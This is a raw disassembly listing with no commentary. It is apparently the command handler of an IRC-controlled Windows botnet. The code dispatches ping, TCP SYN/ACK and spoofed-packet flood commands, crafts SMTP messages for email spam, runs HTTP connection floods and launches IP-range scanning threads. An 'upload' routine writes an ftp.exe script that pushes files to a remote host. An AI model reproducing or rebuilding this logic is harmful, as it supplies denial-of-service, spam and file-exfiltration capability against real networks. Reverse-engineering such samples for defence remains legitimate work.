call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406F5F
push [ebp+arg_8]
push offset aNs ; "ns"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406F5F
push [ebp+arg_8]
push offset aPingflood ; "pingflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406E35
push [ebp+arg_8]
push offset aPing_0 ; "ping"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406E35
push [ebp+arg_8]
push offset aP ; "p"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406E35
push [ebp+arg_8]
push offset aVnchost ; "vnchost"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_406A5A
push edi
call sub_41B52C
pop ecx
lea eax, [ebp+var_2C4]
push edi
push offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s"
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_401F75
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
jmp loc_4040AB
; ---------------------------------------------------------------------------
loc_406A5A: ; CODE XREF: sub_401ACD+4F56j
push [ebp+arg_8]
push offset aTcpflood ; "tcpflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406C8E
push [ebp+arg_8]
push offset aTcp ; "tcp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406C8E
push [ebp+arg_8]
push offset aEmail ; "email"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_406C36
lea eax, [ebp+var_46F0]
push edi
push eax
call sub_41C890
push [ebp+arg_18]
call sub_41C159
push [ebp+arg_0]
mov [ebp+arg_18], eax
lea eax, [ebp+var_438C]
push eax
call sub_41C890
push [ebp+arg_10]
lea eax, [ebp+var_458C]
push eax
call sub_41C890
push offset asc_42CDC8 ; " "
push offset dword_42B93C
push [ebp+esi+var_7C]
call sub_41843B
push eax
lea eax, [ebp+var_408C]
push eax
call sub_41C890
add esp, 30h
lea eax, [ebp+var_528C]
push eax
push 101h
call dword_4CB954 ; WSAStartup
lea eax, [ebp+var_46F0]
push eax
call dword_4CBA68 ; gethostbyname
push 6
push 1
push 2
mov edi, eax
call dword_4CBA64 ; socket
push [ebp+arg_18]
mov esi, eax
mov [ebp+var_31C], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_318], eax
call dword_4CB9E4 ; htons
mov [ebp+var_31A], ax
lea eax, [ebp+var_408C]
push eax
lea eax, [ebp+var_438C]
push eax
lea eax, [ebp+var_408C]
push eax
lea eax, [ebp+var_458C]
push eax
lea eax, [ebp+var_438C]
push eax
lea eax, [ebp+var_568C]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_41C266
add esp, 1Ch
lea eax, [ebp+var_31C]
push 10h
push eax
push esi
call dword_4CB98C ; connect
mov edi, 100h
push ebx
lea eax, [ebp+var_448C]
push edi
push eax
push esi
call dword_4CB9FC ; recv
lea eax, [ebp+var_448C]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_568C]
push eax
push esi
call dword_4CBA34 ; send
push ebx
lea eax, [ebp+var_448C]
push edi
push eax
push esi
call dword_4CB9FC ; recv
push esi
call dword_4CBA7C ; closesocket
call dword_4CB93C ; WSACleanup
lea eax, [ebp+var_458C]
push eax
push offset unk_42AF04
loc_406BEF: ; CODE XREF: sub_401ACD+2E3Fj
; sub_401ACD+4561j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
loc_406BFB: ; CODE XREF: sub_401ACD+2431j
add esp, 0Ch
loc_406BFE: ; CODE XREF: sub_401ACD+4485j
; sub_401ACD+6575j ...
cmp [ebp+var_8], ebx
jnz short loc_406C1F
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_406C1F: ; CODE XREF: sub_401ACD+296Fj
; sub_401ACD+29C2j ...
mov esi, [ebp+arg_24]
loc_406C22: ; CODE XREF: sub_401ACD+6814j
; sub_401ACD+773Fj ...
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
pop ecx
mov eax, esi
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_406C36: ; CODE XREF: sub_401ACD+4FCCj
push [ebp+arg_8]
push offset aHttpcon ; "httpcon"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_406C60
push [ebp+arg_8]
push offset aHcon ; "hcon"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_407208
loc_406C60: ; CODE XREF: sub_401ACD+517Aj
push [ebp+esi+var_7C]
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
call sub_41C159
pop ecx
push eax
push edi
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_410ADC
jmp loc_404085
; ---------------------------------------------------------------------------
loc_406C8E: ; CODE XREF: sub_401ACD+4F9Ej
; sub_401ACD+4FB5j
mov esi, 80h
push edi
lea eax, [ebp+var_1358]
push esi
push eax
call sub_41C360
lea eax, [ebp+var_1358]
push eax
push offset aSyn ; "syn"
call sub_41CA50
add esp, 14h
test eax, eax
jz short loc_406CF1
lea eax, [ebp+var_1358]
push eax
push offset aAck ; "ack"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_406CF1
lea eax, [ebp+var_1358]
push eax
push offset aRandom_0 ; "random"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_406CF1
push offset unk_42AEBC
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_406CF1: ; CODE XREF: sub_401ACD+51EAj
; sub_401ACD+5201j ...
push [ebp+arg_10]
call sub_41C159
cmp eax, ebx
pop ecx
mov [ebp+var_1250], eax
jle loc_406E1D
push edi
lea eax, [ebp+var_1358]
push esi
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_13D8]
push [ebp+arg_18]
push esi
push eax
call sub_41C360
push [ebp+arg_0]
call sub_41C159
mov [ebp+var_1254], eax
add esp, 10h
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_124C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13DC], eax
lea eax, [ebp+var_12D8]
push esi
push eax
call sub_41C360
mov eax, [ebp+var_4]
add esp, 0Ch
cmp [ebp+var_124C], ebx
mov [ebp+var_1248], eax
mov eax, [ebp+var_8]
mov [ebp+var_1244], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_406D8E
mov eax, offset aNormal ; "Normal"
loc_406D8E: ; CODE XREF: sub_401ACD+52BAj
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push eax
push offset unk_42AE78
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 14h
push eax
call sub_40B3BA
add esp, 2Ch
mov [ebp+var_1258], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_13DC]
push ebx
push eax
push offset sub_4149C1
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_1258]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_406E0C
loc_406DF6: ; CODE XREF: sub_401ACD+533Dj
cmp [ebp+var_1240], ebx
jnz loc_4081AD
push 32h
call dword_427080 ; Sleep
jmp short loc_406DF6
; ---------------------------------------------------------------------------
loc_406E0C: ; CODE XREF: sub_401ACD+5327j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42AE40
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_406E1D: ; CODE XREF: sub_401ACD+5235j
push offset unk_42AE08
loc_406E22: ; CODE XREF: sub_401ACD+1FBEj
; sub_401ACD+1FD4j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_4081AD
; ---------------------------------------------------------------------------
loc_406E35: ; CODE XREF: sub_401ACD+4F11j
; sub_401ACD+4F28j ...
cmp dword_4CBAD4, ebx
jnz loc_406F44
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_FF8], eax
mov eax, [ebp+var_4]
mov [ebp+var_FFC], eax
lea eax, [ebp+var_1090]
push edi
push eax
call sub_41BFD0
push [ebp+arg_18]
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_1010], eax
call sub_41C159
push [ebp+arg_10]
mov [ebp+var_100C], eax
call sub_41C159
push 7Fh
mov [ebp+var_1008], eax
push [ebp+var_88]
lea eax, [ebp+var_1110]
push eax
call sub_41BFD0
mov eax, [ebp+arg_4]
add esp, 24h
mov [ebp+var_1114], eax
lea eax, [ebp+var_1090]
push [ebp+var_1008]
push [ebp+var_100C]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_1010]
push offset unk_42ADC0
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 16h
push eax
call sub_40B3BA
add esp, 24h
mov [ebp+var_1000], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1114]
push ebx
push eax
push offset sub_413E10
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_1000]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_406F33
loc_406F1D: ; CODE XREF: sub_401ACD+5464j
cmp [ebp+var_FF4], ebx
jnz loc_4081AD
push 32h
call dword_427080 ; Sleep
jmp short loc_406F1D
; ---------------------------------------------------------------------------
loc_406F33: ; CODE XREF: sub_401ACD+544Ej
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42AD88
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_406F44: ; CODE XREF: sub_401ACD+536Ej
push 1FFh
lea eax, [ebp+var_2C4]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_41BFD0
jmp loc_4081AA
; ---------------------------------------------------------------------------
loc_406F5F: ; CODE XREF: sub_401ACD+4EE3j
; sub_401ACD+4EFAj
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push edi
push [ebp+arg_0]
push offset unk_42AD34
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push [ebp+arg_0]
call sub_41B9C0
push [ebp+arg_18]
mov edi, eax
call sub_41B9C0
push [ebp+arg_20]
add edi, eax
call sub_41B9C0
push [ebp+arg_8]
add edi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_10]
lea eax, [eax+edi+7]
push eax
call sub_41C2E0
add esp, 40h
mov [ebp+arg_C], eax
push [ebp+arg_0]
call sub_41C159
mov edi, [ebp+arg_20]
cmp eax, ebx
pop ecx
mov [ebp+arg_14], eax
mov [ebp+arg_1C], ebx
jle short loc_407059
loc_406FE2: ; CODE XREF: sub_401ACD+5539j
push [ebp+arg_C]
push [ebp+arg_18]
push edi
call sub_418AF1
add esp, 0Ch
cmp eax, 1
mov [ebp+arg_20], eax
jz short loc_40700A
cmp eax, ebx
jnz short loc_407029
inc [ebp+arg_1C]
mov eax, [ebp+arg_1C]
cmp eax, [ebp+arg_14]
jl short loc_406FE2
jmp short loc_407062
; ---------------------------------------------------------------------------
loc_40700A: ; CODE XREF: sub_401ACD+552Aj
push ebx
push [ebp+var_4]
push offset unk_42ACFC
loc_407013: ; CODE XREF: sub_401ACD+559Ej
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
jmp loc_407208
; ---------------------------------------------------------------------------
loc_407029: ; CODE XREF: sub_401ACD+552Ej
push [ebp+arg_20]
lea eax, [ebp+var_2C4]
push offset unk_42ACC8
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 20h
loc_407059: ; CODE XREF: sub_401ACD+5513j
cmp [ebp+arg_20], ebx
jnz loc_407208
loc_407062: ; CODE XREF: sub_401ACD+553Bj
push ebx
push [ebp+var_4]
push offset unk_42AC94
jmp short loc_407013
; ---------------------------------------------------------------------------
loc_40706D: ; CODE XREF: sub_401ACD+4E9Ej
; sub_401ACD+4EB5j ...
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_C68], eax
mov eax, [ebp+var_4]
loc_40707B: ; DATA XREF: .packed:004330E8o
; .packed:004330FCo ...
mov [ebp+var_C6C], eax
lea eax, [ebp+var_D00]
push edi
push eax
call sub_41BFD0
push [ebp+arg_18]
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_C80], eax
call sub_41C159
push [ebp+arg_10]
mov [ebp+var_C7C], eax
call sub_41C159
mov esi, [ebp+esi+var_7C]
add esp, 18h
cmp esi, ebx
mov [ebp+var_C78], eax
jz short loc_4070D2
push esi
call sub_41C159
pop ecx
mov [ebp+var_C74], eax
jmp short loc_4070D8
; ---------------------------------------------------------------------------
loc_4070D2: ; CODE XREF: sub_401ACD+55F4j
mov [ebp+var_C74], ebx
loc_4070D8: ; CODE XREF: sub_401ACD+5603j
push 7Fh
lea eax, [ebp+var_D80]
push [ebp+var_88]
push eax
call sub_41BFD0
add esp, 0Ch
mov esi, [ebp+arg_4]
lea eax, [ebp+var_D00]
mov [ebp+var_D84], esi
push [ebp+var_C78]
push [ebp+var_C7C]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_C80]
push offset unk_42AC4C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 17h
push eax
call sub_40B3BA
add esp, 24h
mov [ebp+var_C70], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_D84]
push ebx
push eax
push offset sub_413F9C
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_C70]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_40717B
loc_407169: ; CODE XREF: sub_401ACD+56ACj
cmp [ebp+var_C64], ebx
jnz short loc_407196
push 32h
call dword_427080 ; Sleep
jmp short loc_407169
; ---------------------------------------------------------------------------
loc_40717B: ; CODE XREF: sub_401ACD+569Aj
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42AC14
loc_407187: ; CODE XREF: sub_401ACD+4D09j
; sub_401ACD+61E0j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
loc_407196: ; CODE XREF: sub_401ACD+4CEDj
; sub_401ACD+56A2j ...
cmp [ebp+var_8], ebx
jnz loc_4082DE
push ebx
push [ebp+var_4]
loc_4071A3: ; CODE XREF: sub_401ACD+2284j
lea eax, [ebp+var_2C4]
push eax
push [ebp+var_88]
push esi
jmp loc_4081CA
; ---------------------------------------------------------------------------
loc_4071B6: ; CODE XREF: sub_401ACD+4E70j
; sub_401ACD+4E87j
push 0Bh
call sub_40B602
push [ebp+arg_18]
mov [ebp+arg_1C], eax
call sub_41C159
add eax, [ebp+arg_1C]
pop ecx
pop ecx
cmp eax, 320h
jle loc_407381
push [ebp+arg_1C]
lea eax, [ebp+var_2C4]
push offset unk_42ABD8
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 20h
loc_407208: ; CODE XREF: sub_401ACD+518Dj
; sub_401ACD+5557j ...
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz loc_401F75
push [ebp+arg_8]
push offset aUpload ; "upload"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_409644
push 4
push esi
call sub_416CAF
pop ecx
test eax, eax
pop ecx
jnz short loc_407253
push esi
push offset unk_42ABB0
loc_40723F: ; CODE XREF: sub_401ACD+711Ej
; sub_401ACD+796Bj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
jmp loc_403F9D
; ---------------------------------------------------------------------------
loc_407253: ; CODE XREF: sub_401ACD+576Aj
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_41C2C2
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_50FC]
push edx
push eax
lea eax, [ebp+var_2E5C]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_41C266
lea eax, [ebp+var_2E5C]
push offset aAb ; "ab"
push eax
call sub_41BEA2
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_401F75
push esi
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_41C7E6
push [ebp+arg_24]
call sub_41BA3B
add esp, 20h
lea eax, [ebp+var_2E5C]
push eax
lea eax, [ebp+var_4CF8]
push offset aSS_2 ; "-s:%s"
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_4CF8]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_4CB950
test eax, eax
push edi
push esi
jz short loc_407320
push offset unk_42AB40
jmp short loc_407325
; ---------------------------------------------------------------------------
loc_407320: ; CODE XREF: sub_401ACD+584Aj
push offset unk_42AB10
loc_407325: ; CODE XREF: sub_401ACD+5851j
call sub_41C266
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_40734E
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_40734E: ; CODE XREF: sub_401ACD+5863j
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
loc_40735A: ; CODE XREF: sub_401ACD+58B2j
lea eax, [ebp+var_2E5C]
push 4
push eax
call sub_416CAF
add esp, 0Ch
test eax, eax
jz loc_401F75
lea eax, [ebp+var_2E5C]
push eax
call sub_41C7BC
jmp short loc_40735A
; ---------------------------------------------------------------------------
loc_407381: ; CODE XREF: sub_401ACD+5705j
push edi
call sub_41C159
push [ebp+arg_18]
mov [ebp+var_370], eax
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_358], eax
call sub_41C159
add esp, 0Ch
cmp eax, 5
mov [ebp+var_36C], eax
jnb short loc_4073BA
push 5
pop eax
mov [ebp+var_36C], eax
loc_4073BA: ; CODE XREF: sub_401ACD+58E2j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_4073C7
mov [ebp+var_36C], ecx
loc_4073C7: ; CODE XREF: sub_401ACD+58F2j
push [ebp+arg_10]
call sub_41C159
cmp eax, 320h
pop ecx
mov [ebp+var_368], eax
jbe short loc_4073E7
mov [ebp+var_368], 320h
loc_4073E7: ; CODE XREF: sub_401ACD+590Ej
or [ebp+var_354], 0FFFFFFFFh
cmp dword_431800, ebx
mov [ebp+arg_1C], ebx
jz short loc_40743D
mov [ebp+arg_24], offset dword_431800
loc_407400: ; CODE XREF: sub_401ACD+5952j
mov eax, [ebp+arg_24]
push edi
add eax, 0FFFFFFD8h
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_407423
add [ebp+arg_24], 40h
inc [ebp+arg_1C]
mov eax, [ebp+arg_24]
cmp [eax], ebx
jnz short loc_407400
jmp short loc_40743D
; ---------------------------------------------------------------------------
loc_407423: ; CODE XREF: sub_401ACD+5944j
mov eax, [ebp+arg_1C]
mov ecx, eax
mov [ebp+var_354], eax
shl ecx, 6
mov ecx, dword_431800[ecx]
mov [ebp+var_370], ecx
loc_40743D: ; CODE XREF: sub_401ACD+592Aj
; sub_401ACD+5954j
cmp [ebp+var_370], ebx
jnz short loc_40744F
push offset unk_42AADC
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_40744F: ; CODE XREF: sub_401ACD+5976j
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
mov [ebp+arg_0], edi
jz short loc_40748A
cmp byte ptr [edi], 23h
jz short loc_40748A
push edi
lea eax, [ebp+var_484]
push 10h
push eax
call sub_41C360
push 78h
push edi
call sub_41C990
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_344], eax
jmp loc_407564
; ---------------------------------------------------------------------------
loc_40748A: ; CODE XREF: sub_401ACD+598Bj
; sub_401ACD+5990j
cmp [ebp+var_8FF], bl
jnz short loc_4074AC
cmp [ebp+var_8FE], bl
jnz short loc_4074AC
cmp [ebp+var_8EE], bl
jnz short loc_4074AC
push offset unk_42AAA8
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_4074AC: ; CODE XREF: sub_401ACD+59C3j
; sub_401ACD+59CBj ...
push 10h
lea eax, [ebp+var_2D0]
pop edi
push eax
lea eax, [ebp+var_2F8]
push eax
mov [ebp+var_2D0], edi
push [ebp+arg_4]
call dword_4CB988 ; getsockname
mov al, [ebp+var_8FF]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2F4], eax
push [ebp+var_2F4]
call dword_4CBA70 ; inet_ntoa
push eax
lea eax, [ebp+var_484]
push eax
call sub_41BFD0
add esp, 0Ch
cmp [ebp+var_8EE], bl
jz short loc_40755E
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_484]
push eax
call sub_41C820
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_407552
loc_407530: ; CODE XREF: sub_401ACD+5A83j
cmp eax, ebx
jz short loc_407552
mov byte ptr [eax], 78h
lea eax, [ebp+var_484]
push 30h
push eax
call sub_41C820
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_407530
loc_407552: ; CODE XREF: sub_401ACD+5A61j
; sub_401ACD+5A65j
mov [ebp+var_344], 1
jmp short loc_407564
; ---------------------------------------------------------------------------
loc_40755E: ; CODE XREF: sub_401ACD+5A3Bj
mov [ebp+var_344], ebx
loc_407564: ; CODE XREF: sub_401ACD+59B8j
; sub_401ACD+5A8Fj
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov [ebp+var_374], eax
mov eax, [ebp+var_4]
mov [ebp+var_34C], eax
mov eax, [ebp+var_8]
mov [ebp+var_348], eax
mov edi, 80h
lea eax, [ebp+var_474]
push edi
push eax
call sub_41C360
mov esi, [ebp+esi+var_78]
add esp, 0Ch
cmp esi, ebx
jz short loc_4075B5
loc_4075A2: ; CODE XREF: sub_401ACD+5B0Bj
push esi
loc_4075A3: ; CODE XREF: sub_401ACD+5AF5j
lea eax, [ebp+var_3F4]
push edi
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_4075E0
; ---------------------------------------------------------------------------
loc_4075B5: ; CODE XREF: sub_401ACD+5AD3j
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_4075C4
cmp byte ptr [eax], 23h
jnz short loc_4075C4
push eax
jmp short loc_4075A3
; ---------------------------------------------------------------------------
loc_4075C4: ; CODE XREF: sub_401ACD+5AEDj
; sub_401ACD+5AF2j
mov esi, offset aF ; "#f"
push offset byte_43DB98
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4075A2
mov [ebp+var_3F4], bl
loc_4075E0: ; CODE XREF: sub_401ACD+5AE6j
cmp [ebp+var_344], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4075F2
mov eax, offset aSequential ; "Sequential"
loc_4075F2: ; CODE XREF: sub_401ACD+5B1Ej
push [ebp+var_358]
lea ecx, [ebp+var_484]
push [ebp+var_368]
push [ebp+var_36C]
push [ebp+var_370]
push ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42AA40
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3BA
add esp, 2Ch
mov [ebp+var_364], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_484]
push ebx
push eax
push offset sub_40C600
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_364]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_407680
loc_40766A: ; CODE XREF: sub_401ACD+5BB1j
cmp [ebp+var_340], ebx
jnz loc_4081AD
push 32h
call dword_427080 ; Sleep
jmp short loc_40766A
; ---------------------------------------------------------------------------
loc_407680: ; CODE XREF: sub_401ACD+5B9Bj
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42AA08
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_407691: ; CODE XREF: sub_401ACD+4E42j
; sub_401ACD+4E59j
push edi
call sub_40A8F0
push [ebp+arg_18]
mov [ebp+var_4E0], eax
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_4F0], eax
call sub_41C159
push [ebp+arg_10]
mov [ebp+var_4EC], eax
call sub_41C159
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_4E8], eax
lea eax, [ebp+var_570]
mov [ebp+var_574], esi
push eax
call sub_41BFD0
add esp, 1Ch
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_4D8], edi
push [ebp+var_4EC]
mov [ebp+var_4D4], eax
push [ebp+var_4F0]
push [ebp+var_4E8]
push [ebp+var_4E0]
call dword_4CBA70 ; inet_ntoa
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A9B8
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3BA
add esp, 24h
mov [ebp+var_4E4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_574]
push ebx
push eax
push offset sub_40CA1D
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_4E4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_407786
loc_407770: ; CODE XREF: sub_401ACD+5CB7j
cmp [ebp+var_4D0], ebx
jnz loc_403D46
push 32h
call dword_427080 ; Sleep
jmp short loc_407770
; ---------------------------------------------------------------------------
loc_407786: ; CODE XREF: sub_401ACD+5CA1j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A97C
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_407797: ; CODE XREF: sub_401ACD+4E05j
; sub_401ACD+4E1Cj
push edi
call sub_41C159
imul eax, 234h
pop ecx
cmp byte_43E938[eax], bl
jz loc_409644
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
call sub_41B9C0
push edi
mov esi, eax
call sub_41B9C0
push [ebp+arg_8]
add esi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41C2E0
add esp, 14h
mov esi, eax
lea eax, [ebp+var_2C4]
push esi
push offset dword_42A970
push eax
call sub_41C266
add esp, 0Ch
cmp esi, ebx
jz loc_409644
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
push ebx
lea eax, [ebp+var_2C4]
push ebx
push eax
push [ebp+arg_18]
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E92C[eax]
call sub_409869
push edi
call sub_41C159
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43E720[eax], 73h
jnz loc_409644
push esi
push edi
call sub_41C159
imul eax, 234h
pop ecx
add eax, offset byte_43E938
push eax
push [ebp+arg_18]
push offset aSSS_2 ; "[%s] * %s %s"
jmp loc_407957
; ---------------------------------------------------------------------------
loc_407887: ; CODE XREF: sub_401ACD+4DD7j
; sub_401ACD+4DEEj
push edi
call sub_41C159
imul eax, 234h
pop ecx
cmp byte_43E938[eax], bl
jz loc_409644
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
call sub_41B9C0
push edi
mov esi, eax
call sub_41B9C0
push [ebp+arg_8]
add esi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41C2E0
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_409644
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
push ebx
push ebx
push esi
push [ebp+arg_18]
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E92C[eax]
call sub_409869
push edi
call sub_41C159
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43E720[eax], 73h
jnz loc_409644
push esi
push edi
call sub_41C159
imul eax, 234h
pop ecx
add eax, offset byte_43E938
push eax
push [ebp+arg_18]
push offset aSSS_1 ; "[%s] <%s> %s"
loc_407957: ; CODE XREF: sub_401ACD+5DB5j
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 28h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_407984: ; CODE XREF: sub_401ACD+4DA9j
; sub_401ACD+4DC0j
push edi
call dword_4CBA24 ; inet_addr
push [ebp+arg_18]
mov [ebp+var_680], eax
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_690], eax
call sub_41C159
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_688], eax
lea eax, [ebp+var_710]
mov [ebp+var_714], esi
push eax
call sub_41BFD0
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_678], edi
push [ebp+var_688]
mov [ebp+var_674], eax
push [ebp+var_690]
push [ebp+var_680]
